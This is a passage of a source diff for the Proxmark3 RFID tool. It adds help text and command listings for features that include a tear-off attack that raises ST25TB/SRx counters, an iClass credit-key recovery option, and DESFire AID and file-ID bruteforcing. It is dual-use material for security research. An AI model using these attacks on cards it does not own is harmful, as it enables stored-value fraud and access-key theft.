felica_get_container_issue_info_response_t *container_issue_info_response) {
felica_get_container_issue_info_response_t *container_issue_info_response) {
(void)verbose;
PacketResponseNG resp;
if (send_felica_payload_with_retries(flags, datalen, data, false,
@@ -886,8 +886,8 @@ static int send_get_container_issue_information(uint8_t flags, uint16_t datalen,
}
static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose,
felica_status_flags_t *status_flags, uint8_t *platform_information_data,
size_t platform_information_data_capacity, size_t *platform_information_data_len) {
felica_status_flags_t *status_flags, uint8_t *platform_information_data,
size_t platform_information_data_capacity, size_t *platform_information_data_len) {
(void)verbose;
if (status_flags == NULL || platform_information_data == NULL || platform_information_data_len == NULL) {
return PM3_EINVARG;
@@ -939,8 +939,8 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_
}
static int send_request_specification_version(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose,
bool logging, uint32_t timeout_ms, uint32_t retries,
felica_request_specification_version_info_t *specification_version_info) {
bool logging, uint32_t timeout_ms, uint32_t retries,
felica_request_specification_version_info_t *specification_version_info) {
if (specification_version_info == NULL) {
return PM3_EINVARG;
}
@@ -1112,8 +1112,8 @@ static int info_felica(bool verbose) {
felica_get_container_issue_info_response_t container_issue_info_response;
if (send_get_container_issue_information(optional_flags,
sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false,
&container_issue_info_response) == PM3_SUCCESS) {
sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false,
&container_issue_info_response) == PM3_SUCCESS) {
char model_ascii[sizeof(container_issue_info_response.mobile_phone_model_information) + 1] = {0};
bool model_is_ascii = decode_zero_padded_ascii(
container_issue_info_response.mobile_phone_model_information,
@@ -3251,10 +3251,10 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) {
sprint_hex(request_specification_version_request.IDm, sizeof(request_specification_version_request.IDm)));
PrintAndLogEx(SUCCESS, "Status Flag1... %s",
sprint_hex(specification_version_info.status_flags.status_flag1,
sizeof(specification_version_info.status_flags.status_flag1)));
sizeof(specification_version_info.status_flags.status_flag1)));
PrintAndLogEx(SUCCESS, "Status Flag2... %s",
sprint_hex(specification_version_info.status_flags.status_flag2,
sizeof(specification_version_info.status_flags.status_flag2)));
sizeof(specification_version_info.status_flags.status_flag2)));
if (specification_version_info.has_specification_version) {
print_specification_versions(SUCCESS, &specification_version_info, true);
+6 -6
View File
@@ -4931,9 +4931,9 @@ static int CmdHFiClassLegacyRecSim(bool credit) {
}
uint8_t new_div_key[8] = {0};
if (credit == true){
if (credit == true) {
HFiClassCalcDivKey(csn, iClass_Key_Table[1], new_div_key, false);
}else{
} else {
HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false);
}
@@ -5048,8 +5048,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
} else if (test) {
loop = 1;
fast = false;
}else if (debug) {
if (loop > 10){
} else if (debug) {
if (loop > 10) {
loop = 10;
}
fast = false;
@@ -5063,10 +5063,10 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) {
return PM3_ESOFT;
}
if(credit == true){
if (credit == true) {
diversifyKey(csn, iClass_Key_Table[0], new_div_key);
fast = false;
}else{
} else {
diversifyKey(csn, iClass_Key_Table[1], new_div_key);
}
+7 -1
View File
@@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf 14b sim" },
{ 0, "hf 14b sniff" },
{ 0, "hf 14b wrbl" },
{ 0, "hf 14b tearoff" },
{ 1, "hf 14b view" },
{ 1, "hf 14b valid" },
{ 0, "hf 14b calypso" },
@@ -213,6 +214,10 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf 15 writeafi" },
{ 0, "hf 15 writedsfid" },
{ 0, "hf 15 csetuid" },
{ 1, "hf aliro help" },
{ 1, "hf aliro list" },
{ 0, "hf aliro info" },
{ 0, "hf aliro read" },
{ 1, "hf cipurse help" },
{ 0, "hf cipurse info" },
{ 0, "hf cipurse select" },
@@ -239,6 +244,7 @@ const static vocabulary_t vocabulary[] = {
{ 1, "hf felica help" },
{ 1, "hf felica list" },
{ 0, "hf felica info" },
{ 0, "hf felica seacinfo" },
{ 0, "hf felica raw" },
{ 0, "hf felica rdbl" },
{ 0, "hf felica reader" },
@@ -472,7 +478,6 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf mfdes getaids" },
{ 0, "hf mfdes getappnames" },
{ 0, "hf mfdes bruteaid" },
{ 0, "hf mfdes bruteisofid" },
{ 0, "hf mfdes createapp" },
{ 0, "hf mfdes deleteapp" },
{ 0, "hf mfdes selectapp" },
@@ -481,6 +486,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf mfdes chkeysettings" },
{ 0, "hf mfdes getkeysettings" },
{ 0, "hf mfdes getkeyversions" },
{ 0, "hf mfdes bruteisofid" },
{ 0, "hf mfdes getfileids" },
{ 0, "hf mfdes getfileisoids" },
{ 0, "hf mfdes lsfiles" },
+163 -18
View File
@@ -1680,6 +1680,26 @@
],
"usage": "hf 14b sniff [-h]"
},
"hf 14b tearoff": {
"command": "hf 14b tearoff",
"description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.",
"notes": [
"hf 14b tearoff -b 5 -d FFFFFFFE",
"hf 14b tearoff -b 6 -d FFFFFFFE",
"hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50",
"hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000"
],
"offline": false,
"options": [
"-h, --help This help",
"-b, --block <dec> block number (typically 5 or 6 for ST25TB counters)",
"-d, --data <hex> target counter value (4 hex bytes, e.g. FFFFFFFE)",
"--adj <dec> tear-off timing step in us (default: 25)",
"--safety <dec> safety threshold value (default: 0x1000)",
"--start <dec> initial tear-off delay in us (default: 150)"
],
"usage": "hf 14b tearoff [-h] -b <dec> -d <hex> [--adj <dec>] [--safety <dec>] [--start <dec>]"
},
"hf 14b valid": {
"command": "hf 14b valid",
"description": "SRIX checksum test",
@@ -2212,6 +2232,64 @@
],
"usage": "hf 15 writedsfid [-h*2ov] [-u <hex>] [--ua] --dsfid <dec>"
},
"hf aliro help": {
"command": "hf aliro help",
"description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf aliro list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"notes": [
"hf aliro list --frame -> show frame delay times",
"hf aliro list -1 -> use trace buffer"
],
"offline": true,
"options": [
"-h, --help This help",
"-1, --buffer use data from trace buffer",
"--frame show frame delay times",
"-c mark CRC bytes",
"-r show relative times (gap and duration)",
"-u display times in microseconds instead of clock cycles",
"-x show hexdump to convert to pcap(ng)",
"or to import into Wireshark using encapsulation type \"ISO 14443\"",
"-f, --file <fn> filename of dictionary"
],
"usage": "hf aliro list [-h1crux] [--frame] [-f <fn>]"
},
"hf aliro info": {
"command": "hf aliro info",
"description": "Select ALIRO applet and print capabilities.",
"notes": [
"hf aliro info",
"hf aliro info -a"
],
"offline": false,
"options": [
"-h, --help This help",
"-a, --apdu Show APDU requests and responses"
],
"usage": "hf aliro info [-ha]"
},
"hf aliro read": {
"command": "hf aliro read",
"description": "Execute ALIRO expedited flow and optional step-up document retrieval.",
"notes": [
"hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF",
"hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a",
"hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions"
],
"offline": false,
"options": [
"-h, --help This help",
"-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp <hex> Kpersistent (32 bytes, optional; used for fast cryptogram verification)",
"-g, --reader-group-id, --readergroupid, --rgi <hex> Reader group identifier (16 bytes)",
"-s, --reader-sub-group-id, --readersubid, --rsi <hex> Reader subgroup identifier (16 bytes, default: all zeroes)",
"-p, --reader-private-key, --readerprivkey, --rpk <hex> Reader private key (32 bytes, P-256)",
"-t, --transaction-id, --ti <hex> Transaction identifier (16 bytes, optional; random if omitted)",
"-e, --endpoint-public-key, --endpointpublickey, --epk <hex> Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)",
"-f, --flow <step-up|standard|fast> Transaction flow (default: step-up)",
"--step-up-scopes <scope1,scope2> Comma-separated step-up scopes (default: matter1)",
"-a, --apdu Show APDU requests and responses"
],
"usage": "hf aliro read [-ha] [-k <hex>] -g <hex> [-s <hex>] -p <hex> [-t <hex>] [-e <hex>] [-f <step-up|standard|fast>] [--step-up-scopes <scope1,scope2>]"
},
"hf cipurse aread": {
"command": "hf cipurse aread",
"description": "Read file attributes by file ID with key ID and key. If no key is supplied, default key of 737373...7373 will be used",
@@ -2682,14 +2760,16 @@
"command": "hf felica dump",
"description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.",
"notes": [
"hf felica dump"
"hf felica dump",
"hf felica dump --retry 5"
],
"offline": false,
"options": [
"-h, --help This help",
"--no-auth read public services"
"--no-auth read public services",
"-r, --retry <dec> number of retries"
],
"usage": "hf felica dump [-h] [--no-auth]"
"usage": "hf felica dump [-h] [--no-auth] [-r <dec>]"
},
"hf felica help": {
"command": "hf felica help",
@@ -2876,7 +2956,7 @@
},
"hf felica rqspecver": {
"command": "hf felica rqspecver",
"description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h - Option version list: Provided only if Status Flag1 = 00h - AES card: not added - AES/DES card: DES option version is added - BCD notation",
"description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: number of entries in Option Version List. - Option version list: BCD notation (major.minor.patch), little-endian, provided only if Status Flag1 = 00h",
"notes": [
"hf felica rqspecver",
"hf felica rqspecver -r 0001",
@@ -2909,13 +2989,27 @@
"command": "hf felica scsvcode",
"description": "Dump all existing Area Code and Service Code.",
"notes": [
"hf felica scsvcode"
"hf felica scsvcode",
"hf felica scsvcode --retry 5"
],
"offline": false,
"options": [
"-h, --help This help",
"-r, --retry <dec> number of retries"
],
"usage": "hf felica scsvcode [-h] [-r <dec>]"
},
"hf felica seacinfo": {
"command": "hf felica seacinfo",
"description": "Get info about FeliCa SEAC cards",
"notes": [
"hf felica seacinfo"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "hf felica scsvcode [-h]"
"usage": "hf felica seacinfo [-h]"
},
"hf felica sniff": {
"command": "hf felica sniff",
@@ -3256,7 +3350,7 @@
},
"hf help": {
"command": "hf help",
"description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"notes": [
"hf list --frame -> show frame delay times",
"hf list -1 -> use trace buffer"
@@ -3581,9 +3675,10 @@
"--allnight Loops the loop for 10 times, recommended loop value of 5000",
"--fast Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card",
"--sl Lower card comms delay times, further speeds increases, may cause more errors",
"--est Estimates the key updates based on the card's CSN assuming standard key"
"--est Estimates the key updates based on the card's CSN assuming standard key, can be used with --credit option",
"--credit EXPERIMENTAL : Recover the credit key using KD 0"
],
"usage": "hf iclass legrec [-h] --macs <hex> [--index <dec>] [--loop <dec>] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est]"
"usage": "hf iclass legrec [-h] --macs <hex> [--index <dec>] [--loop <dec>] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est] [--credit]"
},
"hf iclass loclass": {
"command": "hf iclass loclass",
@@ -5730,7 +5825,11 @@
"description": "Recover AIDs by bruteforce. WARNING: This command takes a loooong time",
"notes": [
"hf mfdes bruteaid -> Search all apps",
"hf mfdes bruteaid --start F0000F -i 16 -> Search MAD range manually"
"hf mfdes bruteaid --preset mad -> Search MAD range preset (default start F0000F, step 16; can override start)",
"hf mfdes bruteaid --preset ascii -> Search with ASCII printable + whitespace bytes only",
"hf mfdes bruteaid --preset numbers -> Search with numeric bytes ('0'..'9') only",
"hf mfdes bruteaid --preset letters -> Search with letter bytes ('A'..'Z','a'..'z') only",
"hf mfdes bruteaid --preset dictionary -> Search AIDs from `aid_desfire` dictionary (direct + inverted byte order)"
],
"offline": false,
"options": [
@@ -5738,9 +5837,30 @@
"--start <hex> Starting App ID as hex bytes (3 bytes, big endian)",
"--end <hex> Last App ID as hex bytes (3 bytes, big endian)",
"-i, --step <dec> Increment step when bruteforcing",
"-m, --mad Only bruteforce the MAD range"
"--preset <full|ascii|numbers|letters|dictionary|mad> Bruteforce candidate preset (`full` default, `ascii` printable + whitespace, `numbers` = '0'..'9', `letters` = 'A'..'Z'+'a'..'z', `dictionary` = aid_desfire list with direct + inverted byte order, `mad` = step 16 with default start F0000F unless --start is provided)"
],
"usage": "hf mfdes bruteaid [-hm] [--start <hex>] [--end <hex>] [-i <dec>]"
"usage": "hf mfdes bruteaid [-h] [--start <hex>] [--end <hex>] [-i <dec>] [--preset <full|ascii|numbers|letters|dictionary|mad>]"
},
"hf mfdes bruteisofid": {
"command": "hf mfdes bruteisofid",
"description": "Recover ISO file IDs by bruteforce. WARNING: This command takes a loooong time",
"notes": [
"hf mfdes bruteisofid --aid 123456 -> bruteforce ISO file IDs for application 123456",
"hf mfdes bruteisofid --start 0000 --end 0fff -> bruteforce specific file ISO ID range"
],
"offline": false,
"options": [
"-h, --help This help",
"-a, --apdu Show APDU requests and responses",
"-v, --verbose Verbose output",
"--aid <hex> Application ID (3 hex bytes, big endian)",
"--isoid <hex> Application ISO ID (ISO DF ID) (2 hex bytes, big endian)",
"--dfname <hex> Application ISO DF Name (5-16 hex bytes, big endian)",
"--start <hex> Starting File ISO ID (2 hex bytes, big endian)",
"--end <hex> Last File ISO ID (2 hex bytes, big endian)",
"--step <dec> Increment step when bruteforcing"
],
"usage": "hf mfdes bruteisofid [-hav] [--aid <hex>] [--isoid <hex>] [--dfname <hex>] [--start <hex>] [--end <hex>] [--step <dec>]"
},
"hf mfdes changekey": {
"command": "hf mfdes changekey",
@@ -6706,6 +6826,25 @@
],
"usage": "hf mfdes selectapp [-hav] [-n <dec>] [-t <DES|2TDEA|3TDEA|AES>] [-k <hex>] [--kdf <none|AN10922|gallagher>] [-i <hex>] [-m <plain|mac|encrypt>] [-c <native|niso|iso>] [--schann <d40|ev1|ev2|lrp>] [--aid <hex>] [--dfname <str>] [--mf] [--isoid <hex>] [--fileisoid <hex>]"
},
"hf mfdes selectisofid": {
"command": "hf mfdes selectisofid",
"description": "Select file via ISO Select command by 2-byte ISO file identifier. Optionally preselect an application by AID or DF name before selecting the file.",
"notes": [
"hf mfdes selectisofid --isofid e104 -> select file 0xE104",
"hf mfdes selectisofid --aid 123456 --isofid 00ef -> select file 0x00EF in app 0x123456",
"hf mfdes selectisofid --dfname D2760000850100 --isofid 00ef --apdu -> select file 0x00EF after DF name selection and show APDU logs"
],
"offline": false,
"options": [
"-h, --help This help",
"-a, --apdu Show APDU requests and responses",
"-v, --verbose Verbose output",
"--aid <hex> Application ID (3 hex bytes, big endian)",
"--dfname <hex> Application ISO DF Name (1-16 hex bytes, big endian)",
"--isofid <hex> File ISO ID (ISO EF ID) (2 hex bytes, big endian)"
],
"usage": "hf mfdes selectisofid [-hav] [--aid <hex>] [--dfname <hex>] [--isofid <hex>]"
},
"hf mfdes setconfig": {
"command": "hf mfdes setconfig",
"description": "Set card configuration. WARNING! Danger zone! Needs to provide card's master key and works if not blocked by config.",
@@ -6947,18 +7086,24 @@
},
"hf mfp dump": {
"command": "hf mfp dump",
"description": "Dump MIFARE Plus tag to file (bin/json) If no <name> given, UID will be used as filename",
"description": "Dump MIFARE Plus tag to file (bin/json) Reads sectors using keys from `hf mfp chk --dump` (AES/SL3) and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards. Key files are auto-detected by UID if not specified. If no <name> given, UID will be used as filename",
"notes": [
"hf mfp dump",
"hf mfp dump --keys hf-mf-066C8B78-key.bin -> MIFARE Plus with keys from specified file"
"hf mfp dump --keys hf-mfp-01020304-key.json",
"hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin",
"hf mfp dump -k ffffffffffffffffffffffffffffffff"
],
"offline": false,
"options": [
"-h, --help This help",
"-f, --file <fn> Specify a filename for dump file",
"-k, --keys <fn> Specify a filename for keys file"
"--keys <fn> AES key file from `hf mfp chk --dump` (JSON)",
"-k, --key <hex> AES key for all sectors (16 hex bytes)",
"--mfc-keys <fn> MFC key file for SL1 sectors (.bin from `hf mf chk`)",
"--ns No save to file",
"-v, --verbose Verbose output"
],
"usage": "hf mfp dump [-h] [-f <fn>] [-k <fn>]"
"usage": "hf mfp dump [-hv] [-f <fn>] [--keys <fn>] [-k <hex>] [--mfc-keys <fn>] [--ns]"
},
"hf mfp help": {
"command": "hf mfp help",
@@ -13815,8 +13960,8 @@
}
},
"metadata": {
"commands_extracted": 791,
"commands_extracted": 798,
"extracted_by": "PM3Help2JSON v1.00",
"extracted_on": "2026-02-24T15:41:26"
"extracted_on": "2026-03-11T21:39:07"
}
}
+17 -1
View File
@@ -228,6 +228,7 @@ Check column "offline" for their availability.
|`hf 14b sim `|N |`Fake ISO ISO-14443-B tag`
|`hf 14b sniff `|N |`Eavesdrop ISO-14443-B`
|`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag`
|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks`
|`hf 14b view `|Y |`Display content from tag dump file`
|`hf 14b valid `|Y |`SRIX4 checksum test`
|`hf 14b calypso `|N |`Read contents of a Calypso card`
@@ -274,6 +275,18 @@ Check column "offline" for their availability.
|`hf 15 csetuid `|N |`Set UID for magic card`
### hf aliro
{ ALIRO digital access credentials... }
|command |offline |description
|------- |------- |-----------
|`hf aliro help `|Y |`This help`
|`hf aliro list `|Y |`List ISO 14443A/7816 history`
|`hf aliro info `|N |`Get Aliro applet information`
|`hf aliro read `|N |`Run SELECT-AUTH0-AUTH1 and optional step-up document retrieval`
### hf cipurse
{ Cipurse transport Cards... }
@@ -330,6 +343,7 @@ Check column "offline" for their availability.
|`hf felica help `|Y |`This help`
|`hf felica list `|Y |`List ISO 18092/FeliCa history`
|`hf felica info `|N |`Tag information`
|`hf felica seacinfo `|N |`FeliCa SEAC tag information`
|`hf felica raw `|N |`Send raw hex data to tag`
|`hf felica rdbl `|N |`read block data from authentication-not-required Service.`
|`hf felica reader `|N |`Act like an ISO18092/FeliCa reader`
@@ -595,7 +609,7 @@ Check column "offline" for their availability.
|`hf mfp list `|Y |`List MIFARE Plus history`
|`hf mfp auth `|N |`Authentication`
|`hf mfp chk `|N |`Check keys`
|`hf mfp dump `|N |`Dump MIFARE Plus tag to binary file`
|`hf mfp dump `|N |`Dump MIFARE Plus tag to file`
|`hf mfp info `|N |`Tag information`
|`hf mfp mad `|N |`Check and print MAD`
|`hf mfp rdbl `|N |`Read blocks from card`
@@ -670,10 +684,12 @@ Check column "offline" for their availability.
|`hf mfdes createapp `|N |`Create Application`
|`hf mfdes deleteapp `|N |`Delete Application`
|`hf mfdes selectapp `|N |`Select Application ID`
|`hf mfdes selectisofid `|N |`Select file by ISO ID`
|`hf mfdes changekey `|N |`Change Key`
|`hf mfdes chkeysettings `|N |`Change Key Settings`
|`hf mfdes getkeysettings`|N |`Get Key Settings`
|`hf mfdes getkeyversions`|N |`Get Key Versions`
|`hf mfdes bruteisofid `|N |`Recover file ISO IDs by bruteforce`
|`hf mfdes getfileids `|N |`Get File IDs list`
|`hf mfdes getfileisoids `|N |`Get File ISO IDs list`
|`hf mfdes lsfiles `|N |`Show all files list`
+1
View File
@@ -775,6 +775,7 @@ typedef struct {
#define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0
#define CMD_HF_ISO14443B_GET_CONFIG 0x03D1
#define CMD_HF_ISO14443B_SET_CONFIG 0x03D2
#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3
// For measurements of the antenna tuning
#define CMD_MEASURE_ANTENNA_TUNING 0x0400